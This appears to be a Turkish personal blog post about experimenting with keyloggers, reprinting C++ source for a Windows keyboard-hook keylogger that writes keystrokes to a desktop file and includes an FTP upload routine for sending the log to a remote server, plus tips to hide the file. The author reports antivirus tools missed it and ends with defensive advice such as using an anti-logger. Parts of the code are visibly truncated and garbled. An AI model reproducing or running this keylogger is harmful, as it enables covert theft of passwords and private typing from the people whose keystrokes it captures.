Tuşdinler (Keylogger) Dünyasında Bir Gezinti

Her ne kadar Bilim Teknolojileri geçmişim 20 yıla yaklaşsa da, siber güvenlik konusunda oldukça yeniyim. Bu alanda çalışmaya başladığımda, merak saikasıyla bazı programlar ve kodlar üzerinde küçük deneyler yaptım. Bunlardan ilki tuşdinler (keylogger) yazılımlarıydı.

Aşağıdaki C++ kodunu Rohitab web sitesinden indirdikten sonra derleyip çalıştırdım. Programımın adını “Keylogger.exe” koydum!!!


 
 #pragma comment (lib,"wininet.lib")
    #include <windows.h>
    #include <wininet.h> //for uploadFile function
    #include <shlobj.h>
    #include <iostream>
 
char * extractFilename(char * path){
char * ret = path;
bool isFullPath = false;
for (int i=0;i D:\Folder
    
      /*Upload file to server*/
    BOOL uploadFile( char *filename, char *destination_name,char *address,char *username,char *password)
    {
            BOOL t = false;
            HINTERNET hint,hftp;
            hint = InternetOpen("FTP",INTERNET_OPEN_TYPE_PRECONFIG,0,0,INTERNET_FLAG_ASYNC);
            hftp = InternetConnect(hint,address,INTERNET_DEFAULT_FTP_PORT,username,password,INTERNET_SERVICE_FTP,0,0);
            t = FtpPutFile(hftp,filename,destination_name,FTP_TRANSFER_TYPE_BINARY ,0);
            InternetCloseHandle(hftp);
            InternetCloseHandle(hint);
            return t;
    }
    
     static int keysPressed = 0; //Lets count the keys pressed
    
    LRESULT WINAPI Keylogger (int nCode, WPARAM wParam, LPARAM lParam)
    {
            char currentDirectory[260];
                    char * workFullPath;
                  
          
        if  ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))      
        {
                bool truth = getDesktopPath(currentDirectory); //If we can capture the desktop directory then we are good
                    if (truth)
                    {
                        //Concatenate desktop directory and files
                            workFullPath = dupcat(currentDirectory,"\\work.txt",NULL); //So the file path will be like: C:\Users\Corporation\Desktop\work.txt
                            f = fopen(workFullPath,"a+"); //Open the file
                    }
            KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
            DWORD dwMsg = 1;
            dwMsg += hooked_key.scanCode << 16;
            dwMsg += hooked_key.flags << 24;             char lpszKeyName[1024] = {0};                     lpszKeyName[0] = '[';                   int i = GetKeyNameText(dwMsg,   (lpszKeyName + 1),0xFF) + 1;             int key = hooked_key.vkCode;                     lpszKeyName[i] = ']';              //Key value or something else ?                      //if the key if from A-Z,a-z,0-9 then add this to file     if (key >= 'A' && key <= 'Z')                             {                                  if  (GetAsyncKeyState(VK_SHIFT) >= 0)
                                             key += 0x20;
                                     if (f != NULL)
                                     fprintf(f,"%c", key);
                            }
                                                    //else add the name of the key.For example if the key is 32 -> Add "Space" to the file,so we know that space has been pressed.lpszKeyName is that name.
                            else
                            {
 
 
                                    if (f != NULL)
                                            fprintf(f,"%s", lpszKeyName);
                            }
                                                    keysPressed ++;
                                                    if (keysPressed == 150) //Enough data
                                                    {
                                                            //extractFilename is used to extract only the file from path:Example: C:\data\x.php,
                                                            //extractFilename("C:\\data\\x.php") => x.php so that we add only the file to ftp
                                                           //// uploadFile(workFullPath,extractFilename(workFullPath),"www.xyz.org","ftpUsername","ftpPassword"); //Upload the file to FTP
                                                            keysPressed = 0;
                                                    }
    
                            //You can make the file hidden :))
                            //hide_file(workFullPath);
                            fclose(f);
            }
        return CallNextHookEx(hKeyboardHook,nCode,wParam,lParam);
    }
 
    DWORD WINAPI JACKAL(LPVOID lpParm)
    {
            HINSTANCE hins;
            hins = GetModuleHandle(NULL);
            hKeyboardHook = SetWindowsHookEx (  WH_KEYBOARD_LL, (HOOKPROC) Keylogger,   hins,  0);
    
            MSG message;
        while (GetMessage(&message,NULL,0,0))
        {
            TranslateMessage( &message );
            DispatchMessage( &message );
        }
    
        UnhookWindowsHookEx(hKeyboardHook);
        return 0;
    }
 
    
    void main(){
            JACKAL(NULL);
    }


Ardından keylogger programım aktif haldeyken çeşitli metin düzenleyici ve programlarda klavye ile yazılar yazdım. Evet, gerçekten de program arka planda başarılı şekilde tüm tuşlamalarımı logluyordu. En önemlisi ise, kullandığım hiçbir Antivirüs programı (McAfee, AVG, Malware Bytes dahil) bu durumu tespit edememişti. Bu sonuç ise cidden beni rahatsız etmişti. Gerçekten bu kadar savunmasız mıydık?

Yukarıdaki kod diğer programlara Windows çengeli atarak dinleyen basit bir uygulama. Açıkçası AV programlarının rahatlıkla bu davranışı tespit etmelerini beklerdim. Neyse, araştırmama devam ettim. Bu defa Code Project websitesinden Assembly dilinde yazılmış ve üstelik Windows çengeline ihtiyaç duymadan çalışan başka bir kodu denedim:

Assembly Keylogger Örneği

Aynı şekilde bu exe program da hiçbir güvenlik yazılımının dikkatini çekmedi. Açıkçası siber güvenliğe inancımı kaybetmeye başlamıştım. Bu düşünceler içindeyken bir arkadaşım Antilogger yazılmlarını test etmemi önerdi. Böylelikle Zemana Antilogger uygulamasını kendi sitesinden indirdim.

Antilogger yazılımı gerçekten de ilk programı anında tespit etti. İkinci programı zararlı olarak tespit etmese de koymuş olduğu kripto mekanizmasıyla bu programın tuşları dinlemesine engel olmayı başardı.

Alınan Dersler:

1) Asla kendinizi güvende hissetmeyin, hassas bilgiler için muhakkak ekran klavyesi kullanın,

2) Muhakkak bir Antilogger yazılımı kullanın,

3) Mutlu olun ve dans edin

Not: Son olarak, bu yazıda keylogger için Türkçe hangi ifadeyi yazabilirim diye düşünürken, şair kimliğim baskın çıktı ve içimden tuşdinler kelimesini kullanmak geldi. Literatüre uygun mu bilmiyorum ama bence fena hoş gelmiyor.